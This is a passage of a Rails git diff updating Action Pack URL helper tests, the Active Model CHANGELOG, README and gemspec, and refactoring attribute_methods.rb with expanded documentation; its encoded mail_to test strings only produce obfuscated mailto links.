-    assert_dom_equal "<script type=\"text/javascript\">eval(decodeURIComponent('%64%6f%63%75%6d%65%6e%74%2e%77%72%69%74%65%28%27%3c%61%20%68%72%65%66%3d%5c%22%6d%61%69%6c%74%6f%3a%6d%65%40%64%6f%6d%61%69%6e%2e%63%6f%6d%5c%22%3e%6d%65%28%61%74%29%64%6f%6d%61%69%6e%28%64%6f%74%29%63%6f%6d%3c%5c%2f%61%3e%27%29%3b'))</script>", mail_to("me@domain.com", nil, :encode => "javascript", :replace_at => "(at)", :replace_dot => "(dot)")
+    assert_dom_equal "<script>eval(decodeURIComponent('%64%6f%63%75%6d%65%6e%74%2e%77%72%69%74%65%28%27%3c%61%20%68%72%65%66%3d%5c%22%6d%61%69%6c%74%6f%3a%6d%65%40%64%6f%6d%61%69%6e%2e%63%6f%6d%5c%22%3e%4d%79%20%65%6d%61%69%6c%3c%5c%2f%61%3e%27%29%3b'))</script>", mail_to("me@domain.com", "My email", :encode => "javascript", :replace_at => "(at)", :replace_dot => "(dot)")
+    assert_dom_equal "<script>eval(decodeURIComponent('%64%6f%63%75%6d%65%6e%74%2e%77%72%69%74%65%28%27%3c%61%20%68%72%65%66%3d%5c%22%6d%61%69%6c%74%6f%3a%6d%65%40%64%6f%6d%61%69%6e%2e%63%6f%6d%5c%22%3e%6d%65%28%61%74%29%64%6f%6d%61%69%6e%28%64%6f%74%29%63%6f%6d%3c%5c%2f%61%3e%27%29%3b'))</script>", mail_to("me@domain.com", nil, :encode => "javascript", :replace_at => "(at)", :replace_dot => "(dot)")
   end
 
   def test_mail_to_returns_html_safe_string
@@ -435,9 +544,16 @@ class UrlHelperTest < ActiveSupport::TestCase
     assert mail_to("me@domain.com", "My email", :encode => "hex").html_safe?
   end
 
-  # TODO: button_to looks at this ... why?
   def protect_against_forgery?
-    false
+    self.request_forgery
+  end
+
+  def form_authenticity_token
+    "secret"
+  end
+
+  def request_forgery_protection_token
+    "form_token"
   end
 
   private
@@ -451,25 +567,25 @@ end
 class UrlHelperControllerTest < ActionController::TestCase
   class UrlHelperController < ActionController::Base
     test_routes do
-      match 'url_helper_controller_test/url_helper/show/:id',
+      get 'url_helper_controller_test/url_helper/show/:id',
         :to => 'url_helper_controller_test/url_helper#show',
         :as => :show
 
-      match 'url_helper_controller_test/url_helper/profile/:name',
+      get 'url_helper_controller_test/url_helper/profile/:name',
         :to => 'url_helper_controller_test/url_helper#show',
         :as => :profile
 
-      match 'url_helper_controller_test/url_helper/show_named_route',
+      get 'url_helper_controller_test/url_helper/show_named_route',
         :to => 'url_helper_controller_test/url_helper#show_named_route',
         :as => :show_named_route
 
-      match "/:controller(/:action(/:id))"
+      get "/:controller(/:action(/:id))"
 
-      match 'url_helper_controller_test/url_helper/normalize_recall_params',
+      get 'url_helper_controller_test/url_helper/normalize_recall_params',
         :to => UrlHelperController.action(:normalize_recall),
         :as => :normalize_recall_params
 
-      match '/url_helper_controller_test/url_helper/override_url_helper/default',
+      get '/url_helper_controller_test/url_helper/override_url_helper/default',
         :to => 'url_helper_controller_test/url_helper#override_url_helper',
         :as => :override_url_helper
     end
@@ -506,8 +622,6 @@ class UrlHelperControllerTest < ActionController::TestCase
       render :inline => '<%= url_for(:action => :show_url_for) %>'
     end
 
-    def rescue_action(e) raise e end
-
     def override_url_helper
       render :inline => '<%= override_url_helper_path %>'
     end
@@ -548,7 +662,7 @@ class UrlHelperControllerTest < ActionController::TestCase
 
   def test_named_route_should_show_host_and_path_using_controller_default_url_options
     class << @controller
-      def default_url_options(options = nil)
+      def default_url_options
         {:host => 'testtwo.host'}
       end
     end
@@ -595,8 +709,6 @@ class TasksController < ActionController::Base
     render_default
   end
 
-  def rescue_action(e) raise e end
-
   protected
     def render_default
       render :inline =>
@@ -655,8 +767,6 @@ class WorkshopsController < ActionController::Base
     @workshop = Workshop.new(params[:id])
     render :inline => "<%= url_for(@workshop) %>\n<%= link_to('Workshop', @workshop) %>"
   end
-
-  def rescue_action(e) raise e end
 end
 
 class SessionsController < ActionController::Base
@@ -677,8 +787,6 @@ class SessionsController < ActionController::Base
     @session = Session.new(params[:id])
     render :inline => "<%= url_for([@workshop, @session]) %>\n<%= link_to('Session', [@workshop, @session]) %>"
   end
-
-  def rescue_action(e) raise e end
 end
 
 class PolymorphicControllerTest < ActionController::TestCase
diff --git a/actionpack/test/ts_isolated.rb b/actionpack/test/ts_isolated.rb
index 5670d93613..c44c5d8968 100644
--- a/actionpack/test/ts_isolated.rb
+++ b/actionpack/test/ts_isolated.rb
@@ -1,17 +1,15 @@
-$:.unshift(File.dirname(__FILE__) + '/../../activesupport/lib')
-
-require 'test/unit'
+require 'minitest/autorun'
 require 'rbconfig'
-require 'active_support/core_ext/kernel/reporting'
+require 'abstract_unit'
 
-class TestIsolated < Test::Unit::TestCase
+class TestIsolated < ActiveSupport::TestCase
   ruby = File.join(*RbConfig::CONFIG.values_at('bindir', 'RUBY_INSTALL_NAME'))
 
   Dir["#{File.dirname(__FILE__)}/{abstract,controller,dispatch,template}/**/*_test.rb"].each do |file|
     define_method("test #{file}") do
       command = "#{ruby} -Ilib:test #{file}"
       result = silence_stderr { `#{command}` }
-      assert_block("#{command}\n#{result}") { $?.to_i.zero? }
+      assert $?.to_i.zero?, "#{command}\n#{result}"
     end
   end
 end
diff --git a/activemodel/CHANGELOG.md b/activemodel/CHANGELOG.md
index 71a737caff..a8f470397b 100644
--- a/activemodel/CHANGELOG.md
+++ b/activemodel/CHANGELOG.md
@@ -1,4 +1,106 @@
-*   Added ActiveModel::Errors#added? to check if a specific error has been added *Martin Svalin*
+## Rails 4.0.0 (unreleased) ##
+
+*   `AM::Validation#validates` ability to pass custom exception to `:strict` option.
+
+    *Bogdan Gusiev*
+
+*   Changed `ActiveModel::Serializers::Xml::Serializer#add_associations` to by default
+    propagate `:skip_types, :dasherize, :camelize` keys to included associations.
+    It can be overriden on each association by explicitly specifying the option on one
+    or more associations
+
+    *Anthony Alberto*
+
+*   Changed `AM::Serializers::JSON.include_root_in_json' default value to false.
+    Now, AM Serializers and AR objects have the same default behaviour. Fixes #6578.
+
+        class User < ActiveRecord::Base; end
+
+        class Person
+          include ActiveModel::Model
+          include ActiveModel::AttributeMethods
+          include ActiveModel::Serializers::JSON
+
+          attr_accessor :name, :age
+
+          def attributes
+            instance_values
+          end
+        end
+
+        user.as_json
+        => {"id"=>1, "name"=>"Konata Izumi", "age"=>16, "awesome"=>true}
+        # root is not included
+
+        person.as_json
+        => {"name"=>"Francesco", "age"=>22}
+        # root is not included
+
+    *Francesco Rodriguez*
+
+*   Passing false hash values to `validates` will no longer enable the corresponding validators *Steve Purcell*
+
+*   `ConfirmationValidator` error messages will attach to `:#{attribute}_confirmation` instead of `attribute` *Brian Cardarella*
+
+*   Added ActiveModel::Model, a mixin to make Ruby objects work with AP out of box *Guillermo Iguaran*
+
+*   `AM::Errors#to_json`: support `:full_messages` parameter *Bogdan Gusiev*
+
+*   Trim down Active Model API by removing `valid?` and `errors.full_messages` *José Valim*
+
+*   When `^` or `$` are used in the regular expression provided to `validates_format_of` and the :multiline option is not set to true, an exception will be raised. This is to prevent security vulnerabilities when using `validates_format_of`. The problem is described in detail in the Rails security guide.
+
+
+## Rails 3.2.8 (Aug 9, 2012) ##
+
+*   No changes.
+
+
+## Rails 3.2.7 (Jul 26, 2012) ##
+
+* `validates_inclusion_of` and `validates_exclusion_of` now accept `:within` option as alias of `:in` as documented.
+
+* Fix the the backport of the object dup with the ruby 1.9.3p194.
+
+
+## Rails 3.2.6 (Jun 12, 2012) ##
+
+*   No changes.
+
+
+## Rails 3.2.5 (Jun 1, 2012) ##
+
+*   No changes.
+
+
+## Rails 3.2.4 (May 31, 2012) ##
+
+*   No changes.
+
+
+## Rails 3.2.3 (March 30, 2012) ##
+
+*   No changes.
+
+
+## Rails 3.2.2 (March 1, 2012) ##
+
+*   No changes.
+
+
+## Rails 3.2.1 (January 26, 2012) ##
+
+*   No changes.
+
+
+## Rails 3.2.0 (January 20, 2012) ##
+
+*   Deprecated `define_attr_method` in `ActiveModel::AttributeMethods`, because this only existed to
+    support methods like `set_table_name` in Active Record, which are themselves being deprecated.
+
+    *Jon Leighton*
+
+*   Add ActiveModel::Errors#added? to check if a specific error has been added *Martin Svalin*
 
 *   Add ability to define strict validation(with :strict => true option) that always raises exception when fails *Bogdan Gusiev*
 
@@ -6,6 +108,27 @@
 
 *   Provide mass_assignment_sanitizer as an easy API to replace the sanitizer behavior. Also support both :logger (default) and :strict sanitizer behavior *Bogdan Gusiev*
 
+
+## Rails 3.1.3 (November 20, 2011) ##
+
+*   No changes
+
+
+## Rails 3.1.2 (November 18, 2011) ##
+
+*   No changes
+
+
+## Rails 3.1.1 (October 7, 2011) ##
+
+*   Remove hard dependency on bcrypt-ruby to avoid make ActiveModel dependent on a binary library.
+    You must add the gem explicitly to your Gemfile if you want use ActiveModel::SecurePassword:
+
+    gem 'bcrypt-ruby', '~> 3.0.0'
+
+    See GH #2687. *Guillermo Iguaran*
+
+
 ## Rails 3.1.0 (August 30, 2011) ##
 
 *   Alternate I18n namespace lookup is no longer supported.
@@ -29,12 +152,37 @@
 *   Add support for selectively enabling/disabling observers *Myron Marston*
 
 
+## Rails 3.0.12 (March 1, 2012) ##
+
+*   No changes.
+
+
+## Rails 3.0.11 (November 18, 2011) ##
+
+*   No changes.
+
+
+## Rails 3.0.10 (August 16, 2011) ##
+
+*   No changes.
+
+
+## Rails 3.0.9 (June 16, 2011) ##
+
+*   No changes.
+
+
+## Rails 3.0.8 (June 7, 2011) ##
+
+*   No changes.
+
+
 ## Rails 3.0.7 (April 18, 2011) ##
 
 *   No changes.
 
 
-*   Rails 3.0.6 (April 5, 2011)
+##   Rails 3.0.6 (April 5, 2011) ##
 
 *   Fix when database column name has some symbolic characters (e.g. Oracle CASE# VARCHAR2(20)) #5818 #6850 *Robert Pankowecki, Santiago Pastorino*
 
diff --git a/activemodel/MIT-LICENSE b/activemodel/MIT-LICENSE
index 7ad1051066..810daf856c 100644
--- a/activemodel/MIT-LICENSE
+++ b/activemodel/MIT-LICENSE
@@ -1,4 +1,4 @@
-Copyright (c) 2004-2011 David Heinemeier Hansson
+Copyright (c) 2004-2012 David Heinemeier Hansson
 
 Permission is hereby granted, free of charge, to any person obtaining
 a copy of this software and associated documentation files (the
diff --git a/activemodel/README.rdoc b/activemodel/README.rdoc
index 67701bc422..b4565b5881 100644
--- a/activemodel/README.rdoc
+++ b/activemodel/README.rdoc
@@ -9,10 +9,31 @@ Prior to Rails 3.0, if a plugin or gem developer wanted to have an object
 interact with Action Pack helpers, it was required to either copy chunks of
 code from Rails, or monkey patch entire helpers to make them handle objects
 that did not exactly conform to the Active Record interface. This would result
-in code duplication and fragile applications that broke on upgrades.
+in code duplication and fragile applications that broke on upgrades. Active
+Model solves this by defining an explicit API. You can read more about the
+API in ActiveModel::Lint::Tests.
 
-Active Model solves this. You can include functionality from the following
-modules:
+Active Model provides a default module that implements the basic API required
+to integrate with Action Pack out of the box: <tt>ActiveModel::Model</tt>.
+
+    class Person
+      include ActiveModel::Model
+
+      attr_accessor :name, :age
+      validates_presence_of :name
+    end
+
+    person = Person.new(:name => 'bob', :age => '18')
+    person.name # => 'bob'
+    person.age # => '18'
+    person.valid? # => true
+
+It includes model name introspections, conversions, translations and
+validations, resulting in a class suitable to be used with Action Pack.
+See <tt>ActiveModel::Model</tt> for more examples.
+
+Active Model also provides the following functionality to have ORM-like
+behavior out of the box:
 
 * Add attribute magic to objects
 
@@ -20,7 +41,7 @@ modules:
       include ActiveModel::AttributeMethods
 
       attribute_method_prefix 'clear_'
-      define_attribute_methods [:name, :age]
+      define_attribute_methods :name, :age
 
       attr_accessor :name, :age
 
@@ -50,7 +71,7 @@ modules:
   This generates +before_create+, +around_create+ and +after_create+
   class methods that wrap your create method.
 
-  {Learn more}[link:classes/ActiveModel/CallBacks.html]
+  {Learn more}[link:classes/ActiveModel/Callbacks.html]
 
 * Tracking value changes
 
@@ -87,18 +108,14 @@ modules:
         errors.add(:name, "can not be nil") if name.nil?
       end
 
-      def ErrorsPerson.human_attribute_name(attr, options = {})
+      def self.human_attribute_name(attr, options = {})
         "Name"
       end
-
     end
 
     person.errors.full_messages
     # => ["Name can not be nil"]
 
-    person.errors.full_messages
-    # => ["Name can not be nil"]
-
   {Learn more}[link:classes/ActiveModel/Errors.html]
 
 * Model name introspection
@@ -118,6 +135,16 @@ modules:
   pattern in a Rails App and take advantage of all the standard observer
   functions.
 
+    class PersonObserver < ActiveModel::Observer
+      def after_create(person)
+        person.logger.info("New person added!")
+      end
+
+      def after_destroy(person)
+        person.logger.warn("Person with an id of #{person.id} was destroyed!")
+      end
+    end
+
   {Learn more}[link:classes/ActiveModel/Observer.html]
 
 * Making objects serializable
@@ -163,7 +190,7 @@ modules:
 
 * Custom validators
 
-   class Person
+   class ValidatorPerson
      include ActiveModel::Validations
      validates_with HasNameValidator
      attr_accessor :name
@@ -171,7 +198,7 @@ modules:
 
    class HasNameValidator < ActiveModel::Validator
      def validate(record)
-      record.errors[:name] = "must exist" if record.name.blank?
+       record.errors[:name] = "must exist" if record.name.blank?
      end
    end
 
@@ -182,7 +209,7 @@ modules:
    p.valid?                  # =>  true
 
   {Learn more}[link:classes/ActiveModel/Validator.html]
-  
+
 
 == Download and installation
 
@@ -197,7 +224,9 @@ Source code can be downloaded as part of the Rails project on GitHub
 
 == License
 
-Active Model is released under the MIT license.
+Active Model is released under the MIT license:
+
+* http://www.opensource.org/licenses/MIT
 
 
 == Support
diff --git a/activemodel/Rakefile b/activemodel/Rakefile
index c4b020196d..fc5aaf9f8f 100755..100644
--- a/activemodel/Rakefile
+++ b/activemodel/Rakefile
@@ -8,6 +8,7 @@ Rake::TestTask.new do |t|
   t.libs << "test"
   t.test_files = Dir.glob("#{dir}/test/cases/**/*_test.rb").sort
   t.warning = true
+  t.verbose = true
 end
 
 namespace :test do
diff --git a/activemodel/activemodel.gemspec b/activemodel/activemodel.gemspec
index 49f664bf89..66f324a1a1 100644
--- a/activemodel/activemodel.gemspec
+++ b/activemodel/activemodel.gemspec
@@ -5,9 +5,10 @@ Gem::Specification.new do |s|
   s.name        = 'activemodel'
   s.version     = version
   s.summary     = 'A toolkit for building modeling frameworks (part of Rails).'
-  s.description = 'A toolkit for building modeling frameworks like Active Record and Active Resource. Rich support for attributes, callbacks, validations, observers, serialization, internationalization, and testing.'
+  s.description = 'A toolkit for building modeling frameworks like Active Record. Rich support for attributes, callbacks, validations, observers, serialization, internationalization, and testing.'
 
-  s.required_ruby_version = '>= 1.8.7'
+  s.required_ruby_version = '>= 1.9.3'
+  s.license     = 'MIT'
 
   s.author            = 'David Heinemeier Hansson'
   s.email             = 'david@loudthinking.com'
@@ -18,5 +19,4 @@ Gem::Specification.new do |s|
 
   s.add_dependency('activesupport', version)
   s.add_dependency('builder',       '~> 3.0.0')
-  s.add_dependency('i18n',          '~> 0.6')
 end
diff --git a/activemodel/lib/active_model.rb b/activemodel/lib/active_model.rb
index d0e2a6f39c..d1cc19ec6b 100644
--- a/activemodel/lib/active_model.rb
+++ b/activemodel/lib/active_model.rb
@@ -1,5 +1,5 @@
 #--
-# Copyright (c) 2004-2011 David Heinemeier Hansson
+# Copyright (c) 2004-2012 David Heinemeier Hansson
 #
 # Permission is hereby granted, free of charge, to any person obtaining
 # a copy of this software and associated documentation files (the
@@ -21,9 +21,8 @@
 # WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
 #++
 
-activesupport_path = File.expand_path('../../../activesupport/lib', __FILE__)
-$:.unshift(activesupport_path) if File.directory?(activesupport_path) && !$:.include?(activesupport_path)
 require 'active_support'
+require 'active_support/rails'
 require 'active_model/version'
 
 module ActiveModel
@@ -35,9 +34,9 @@ module ActiveModel
   autoload :Conversion
   autoload :Dirty
   autoload :EachValidator, 'active_model/validator'
-  autoload :Errors
   autoload :Lint
   autoload :MassAssignmentSecurity
+  autoload :Model
   autoload :Name, 'active_model/naming'
   autoload :Naming
   autoload :Observer, 'active_model/observing'
@@ -49,13 +48,25 @@ module ActiveModel
   autoload :Validations
   autoload :Validator
 
+  eager_autoload do
+    autoload :Errors
+  end
+
   module Serializers
     extend ActiveSupport::Autoload
 
-    autoload :JSON
-    autoload :Xml
+    eager_autoload do
+      autoload :JSON
+      autoload :Xml
+    end
+  end
+
+  def eager_load!
+    super
+    ActiveModel::Serializer.eager_load!
   end
 end
 
-require 'active_support/i18n'
-I18n.load_path << File.dirname(__FILE__) + '/active_model/locale/en.yml'
+ActiveSupport.on_load(:i18n) do
+  I18n.load_path << File.dirname(__FILE__) + '/active_model/locale/en.yml'
+end
diff --git a/activemodel/lib/active_model/attribute_methods.rb b/activemodel/lib/active_model/attribute_methods.rb
index ef0b95424e..ef04f1fa49 100644
--- a/activemodel/lib/active_model/attribute_methods.rb
+++ b/activemodel/lib/active_model/attribute_methods.rb
@@ -1,34 +1,39 @@
-require 'active_support/core_ext/hash/keys'
-require 'active_support/core_ext/class/attribute'
-require 'active_support/deprecation'
 
 module ActiveModel
+  # Raised when an attribute is not defined.
+  #
+  #   class User < ActiveRecord::Base
+  #     has_many :pets
+  #   end
+  #
+  #   user = User.first
+  #   user.pets.select(:id).first.user_id
+  #   # => ActiveModel::MissingAttributeError: missing attribute: user_id
   class MissingAttributeError < NoMethodError
   end
   # == Active Model Attribute Methods
   #
-  # <tt>ActiveModel::AttributeMethods</tt> provides a way to add prefixes and suffixes
-  # to your methods as well as handling the creation of Active Record like class methods
-  # such as +table_name+.
+  # <tt>ActiveModel::AttributeMethods</tt> provides a way to add prefixes and
+  # suffixes to your methods as well as handling the creation of Active Record
+  # like class methods such as +table_name+.
   #
   # The requirements to implement ActiveModel::AttributeMethods are to:
   #
-  # * <tt>include ActiveModel::AttributeMethods</tt> in your object
+  # * <tt>include ActiveModel::AttributeMethods</tt> in your object.
   # * Call each Attribute Method module method you want to add, such as
-  #   attribute_method_suffix or attribute_method_prefix
-  # * Call <tt>define_attribute_methods</tt> after the other methods are
-  #   called.
-  # * Define the various generic +_attribute+ methods that you have declared
+  #   +attribute_method_suffix+ or +attribute_method_prefix+.
+  # * Call +define_attribute_methods+ after the other methods are called.
+  # * Define the various generic +_attribute+ methods that you have declared.
   #
   # A minimal implementation could be:
   #
   #   class Person
   #     include ActiveModel::AttributeMethods
   #
-  #     attribute_method_affix  :prefix => 'reset_', :suffix => '_to_default!'
+  #     attribute_method_affix  prefix: 'reset_', suffix: '_to_default!'
   #     attribute_method_suffix '_contrived?'
   #     attribute_method_prefix 'clear_'
-  #     define_attribute_methods ['name']
+  #     define_attribute_methods :name
   #
   #     attr_accessor :name
   #
@@ -43,86 +48,29 @@ module ActiveModel
   #     end
   #
   #     def reset_attribute_to_default!(attr)
-  #       send("#{attr}=", "Default Name")
+  #       send("#{attr}=", 'Default Name')
   #     end
   #   end
   #
   # Note that whenever you include ActiveModel::AttributeMethods in your class,
-  # it requires you to implement an <tt>attributes</tt> method which returns a hash
+  # it requires you to implement an +attributes+ method which returns a hash
   # with each attribute name in your model as hash key and the attribute value as
   # hash value.
   #
   # Hash keys must be strings.
-  #
   module AttributeMethods
     extend ActiveSupport::Concern
 
-    COMPILABLE_REGEXP = /\A[a-zA-Z_]\w*[!?=]?\z/
+    NAME_COMPILABLE_REGEXP = /\A[a-zA-Z_]\w*[!?=]?\z/
+    CALL_COMPILABLE_REGEXP = /\A[a-zA-Z_]\w*[!?]?\z/
 
     included do
-      class_attribute :attribute_method_matchers, :instance_writer => false
+      class_attribute :attribute_aliases, :attribute_method_matchers, instance_writer: false
+      self.attribute_aliases = {}
       self.attribute_method_matchers = [ClassMethods::AttributeMethodMatcher.new]
     end
 
     module ClassMethods
-      # Defines an "attribute" method (like +inheritance_column+ or +table_name+).
-      # A new (class) method will be created with the given name. If a value is
-      # specified, the new method will return that value (as a string).
-      # Otherwise, the given block will be used to compute the value of the
-      # method.
-      #
-      # The original method will be aliased, with the new name being prefixed
-      # with "original_". This allows the new method to access the original
-      # value.
-      #
-      # Example:
-      #
-      #   class Person
-      #
-      #     include ActiveModel::AttributeMethods
-      #
-      #     cattr_accessor :primary_key
-      #     cattr_accessor :inheritance_column
-      #
-      #     define_attr_method :primary_key, "sysid"
-      #     define_attr_method( :inheritance_column ) do
-      #       original_inheritance_column + "_id"
-      #     end
-      #
-      #   end
-      #
-      # Provides you with:
-      #
-      #   Person.primary_key
-      #   # => "sysid"
-      #   Person.inheritance_column = 'address'
-      #   Person.inheritance_column
-      #   # => 'address_id'
-      def define_attr_method(name, value=nil, &block)
-        sing = singleton_class
-        sing.class_eval <<-eorb, __FILE__, __LINE__ + 1
-          if method_defined?('original_#{name}')
-            undef :'original_#{name}'
-          end
-          alias_method :'original_#{name}', :'#{name}'
-        eorb
-        if block_given?
-          sing.send :define_method, name, &block
-        else
-          # If we can compile the method name, do it. Otherwise use define_method.
-          # This is an important *optimization*, please don't change it. define_method
-          # has slower dispatch and consumes more memory.
-          if name =~ COMPILABLE_REGEXP
-            sing.class_eval <<-RUBY, __FILE__, __LINE__ + 1
-              def #{name}; #{value.nil? ? 'nil' : value.to_s.inspect}; end
-            RUBY
-          else
-            value = value.to_s if value
-            sing.send(:define_method, name) { value }
-          end
-        end
-      end
-
       # Declares a method available for all attributes with the given prefix.
       # Uses +method_missing+ and <tt>respond_to?</tt> to rewrite the method.
       #
@@ -135,14 +83,12 @@ module ActiveModel
       # An instance method <tt>#{prefix}attribute</tt> must exist and accept
       # at least the +attr+ argument.
       #
-      # For example:
-      #
       #   class Person
-      #
       #     include ActiveModel::AttributeMethods
+      #
       #     attr_accessor :name
       #     attribute_method_prefix 'clear_'
-      #     define_attribute_methods [:name]
+      #     define_attribute_methods :name
       #
       #     private
       #
@@ -152,12 +98,12 @@ module ActiveModel
       #   end
       #
       #   person = Person.new
-      #   person.name = "Bob"
+      #   person.name = 'Bob'
       #   person.name          # => "Bob"
       #   person.clear_name
       #   person.name          # => nil
       def attribute_method_prefix(*prefixes)
-        self.attribute_method_matchers += prefixes.map { |prefix| AttributeMethodMatcher.new :prefix => prefix }
+        self.attribute_method_matchers += prefixes.map! { |prefix| AttributeMethodMatcher.new prefix: prefix }
         undefine_attribute_methods
       end
 
@@ -170,17 +116,15 @@ module ActiveModel
       #
       #   attribute#{suffix}(#{attr}, *args, &block)
       #
-      # An <tt>attribute#{suffix}</tt> instance method must exist and accept at least
-      # the +attr+ argument.
-      #
-      # For example:
+      # An <tt>attribute#{suffix}</tt> instance method must exist and accept at
+      # least the +attr+ argument.
       #
       #   class Person
-      #
       #     include ActiveModel::AttributeMethods
+      #
       #     attr_accessor :name
       #     attribute_method_suffix '_short?'
-      #     define_attribute_methods [:name]
+      #     define_attribute_methods :name
       #
       #     private
       #
@@ -190,11 +134,11 @@ module ActiveModel
       #   end
       #
       #   person = Person.new
-      #   person.name = "Bob"
+      #   person.name = 'Bob'
       #   person.name          # => "Bob"
       #   person.name_short?   # => true
       def attribute_method_suffix(*suffixes)
-        self.attribute_method_matchers += suffixes.map { |suffix| AttributeMethodMatcher.new :suffix => suffix }
+        self.attribute_method_matchers += suffixes.map! { |suffix| AttributeMethodMatcher.new suffix: suffix }
         undefine_attribute_methods
       end
 
@@ -211,14 +155,12 @@ module ActiveModel
       # An <tt>#{prefix}attribute#{suffix}</tt> instance method must exist and
       # accept at least the +attr+ argument.
       #
-      # For example:
-      #
       #   class Person
-      #
       #     include ActiveModel::AttributeMethods
+      #
       #     attr_accessor :name
-      #     attribute_method_affix :prefix => 'reset_', :suffix => '_to_default!'
-      #     define_attribute_methods [:name]
+      #     attribute_method_affix prefix: 'reset_', suffix: '_to_default!'
+      #     define_attribute_methods :name
       #
       #     private
       #
@@ -232,46 +174,61 @@ module ActiveModel
       #   person.reset_name_to_default!
       #   person.name                         # => 'Gemma'
       def attribute_method_affix(*affixes)
-        self.attribute_method_matchers += affixes.map { |affix| AttributeMethodMatcher.new :prefix => affix[:prefix], :suffix => affix[:suffix] }
+        self.attribute_method_matchers += affixes.map! { |affix| AttributeMethodMatcher.new prefix: affix[:prefix], suffix: affix[:suffix] }
         undefine_attribute_methods
       end
 
+
+      # Allows you to make aliases for attributes.
+      #
+      #   class Person
+      #     include ActiveModel::AttributeMethods
+      #
+      #     attr_accessor :name
+      #     attribute_method_suffix '_short?'
+      #     define_attribute_methods :name
+      #
+      #     alias_attribute :nickname, :name
+      #
+      #     private
+      #
+      #     def attribute_short?(attr)
+      #       send(attr).length < 5
+      #     end
+      #   end
+      #
+      #   person = Person.new
+      #   person.name = 'Bob'
+      #   person.name            # => "Bob"
+      #   person.nickname        # => "Bob"
+      #   person.name_short?     # => true
+      #   person.nickname_short? # => true
       def alias_attribute(new_name, old_name)
+        self.attribute_aliases = attribute_aliases.merge(new_name.to_s => old_name.to_s)
         attribute_method_matchers.each do |matcher|
           matcher_new = matcher.method_name(new_name).to_s
           matcher_old = matcher.method_name(old_name).to_s
-
-          if matcher_new =~ COMPILABLE_REGEXP && matcher_old =~ COMPILABLE_REGEXP
-            module_eval <<-RUBY, __FILE__, __LINE__ + 1
-              def #{matcher_new}(*args)
-                send(:#{matcher_old}, *args)
-              end
-            RUBY
-          else
-            define_method(matcher_new) do |*args|
-              send(matcher_old, *args)
-            end
-          end
+          define_proxy_call false, self, matcher_new, matcher_old
         end
       end
 
       # Declares the attributes that should be prefixed and suffixed by
       # ActiveModel::AttributeMethods.
       #
-      # To use, pass in an array of attribute names (as strings or symbols),
-      # be sure to declare +define_attribute_methods+ after you define any
-      # prefix, suffix or affix methods, or they will not hook in.
+      # To use, pass attribute names (as strings or symbols), be sure to declare
+      # +define_attribute_methods+ after you define any prefix, suffix or affix
+      # methods, or they will not hook in.
       #
       #   class Person
-      #
       #     include ActiveModel::AttributeMethods
+      #
       #     attr_accessor :name, :age, :address
       #     attribute_method_prefix 'clear_'
       #
       #     # Call to define_attribute_methods must appear after the
       #     # attribute_method_prefix, attribute_method_suffix or
       #     # attribute_method_affix declares.
-      #     define_attribute_methods [:name, :age, :address]
+      #     define_attribute_methods :name, :age, :address
       #
       #     private
       #
@@ -279,10 +236,39 @@ module ActiveModel
       #       ...
       #     end
       #   end
-      def define_attribute_methods(attr_names)
-        attr_names.each { |attr_name| define_attribute_method(attr_name) }
+      def define_attribute_methods(*attr_names)
+        attr_names.flatten.each { |attr_name| define_attribute_method(attr_name) }
       end
 
+      # Declares an attribute that should be prefixed and suffixed by
+      # ActiveModel::AttributeMethods.
+      #
+      # To use, pass an attribute name (as string or symbol), be sure to declare
+      # +define_attribute_method+ after you define any prefix, suffix or affix
+      # method, or they will not hook in.
+      #
+      #   class Person
+      #     include ActiveModel::AttributeMethods
+      #
+      #     attr_accessor :name
+      #     attribute_method_suffix '_short?'
+      #
+      #     # Call to define_attribute_method must appear after the
+      #     # attribute_method_prefix, attribute_method_suffix or
+      #     # attribute_method_affix declares.
+      #     define_attribute_method :name
+      #
+      #     private
+      #
+      #     def attribute_short?(attr)
+      #       send(attr).length < 5
+      #     end
+      #   end
+      #
+      #   person = Person.new
+      #   person.name = 'Bob'
+      #   person.name        # => "Bob"
+      #   person.name_short? # => true
       def define_attribute_method(attr_name)
         attribute_method_matchers.each do |matcher|
           method_name = matcher.method_name(attr_name)
@@ -290,27 +276,39 @@ module ActiveModel
           unless instance_method_already_implemented?(method_name)
             generate_method = "define_method_#{matcher.method_missing_target}"
 
-            if respond_to?(generate_method)
+            if respond_to?(generate_method, true)
               send(generate_method, attr_name)
             else
-              if method_name =~ COMPILABLE_REGEXP
-                defn = "def #{method_name}(*args)"
-              else
-                defn = "define_method(:'#{method_name}') do |*args|"
-              end
-
-              generated_attribute_methods.module_eval <<-RUBY, __FILE__, __LINE__ + 1
-                #{defn}
-                  send(:#{matcher.method_missing_target}, '#{attr_name}', *args)
-                end
-              RUBY
+              define_proxy_call true, generated_attribute_methods, method_name, matcher.method_missing_target, attr_name.to_s
             end
           end
         end
         attribute_method_matchers_cache.clear
       end
 
-      # Removes all the previously dynamically defined methods from the class
+      # Removes all the previously dynamically defined methods from the class.
+      #
+      #   class Person
+      #     include ActiveModel::AttributeMethods
+      #
+      #     attr_accessor :name
+      #     attribute_method_suffix '_short?'
+      #     define_attribute_method :name
+      #
+      #     private
+      #
+      #     def attribute_short?(attr)
+      #       send(attr).length < 5
+      #     end
+      #   end
+      #
+      #   person = Person.new
+      #   person.name = 'Bob'
+      #   person.name_short? # => true
+      #
+      #   Person.undefine_attribute_methods
+      #
+      #   person.name_short? # => NoMethodError
       def undefine_attribute_methods
         generated_attribute_methods.module_eval do
           instance_methods.each { |m| undef_method(m) }
@@ -320,15 +318,11 @@ module ActiveModel
 
       # Returns true if the attribute methods defined have been generated.
       def generated_attribute_methods #:nodoc:
-        @generated_attribute_methods ||= begin
-          mod = Module.new
-          include mod
-          mod
-        end
+        @generated_attribute_methods ||= Module.new.tap { |mod| include mod }
       end
 
       protected
-        def instance_method_already_implemented?(method_name)
+        def instance_method_already_implemented?(method_name) #:nodoc:
           generated_attribute_methods.method_defined?(method_name)
         end
 
@@ -342,31 +336,52 @@ module ActiveModel
         # used to alleviate the GC, which ultimately also speeds up the app
         # significantly (in our case our test suite finishes 10% faster with
         # this cache).
-        def attribute_method_matchers_cache
+        def attribute_method_matchers_cache #:nodoc:
           @attribute_method_matchers_cache ||= {}
         end
 
-        def attribute_method_matcher(method_name)
-          if attribute_method_matchers_cache.key?(method_name)
-            attribute_method_matchers_cache[method_name]
-          else
+        def attribute_method_matcher(method_name) #:nodoc:
+          attribute_method_matchers_cache.fetch(method_name) do |name|
             # Must try to match prefixes/suffixes first, or else the matcher with no prefix/suffix
             # will match every time.
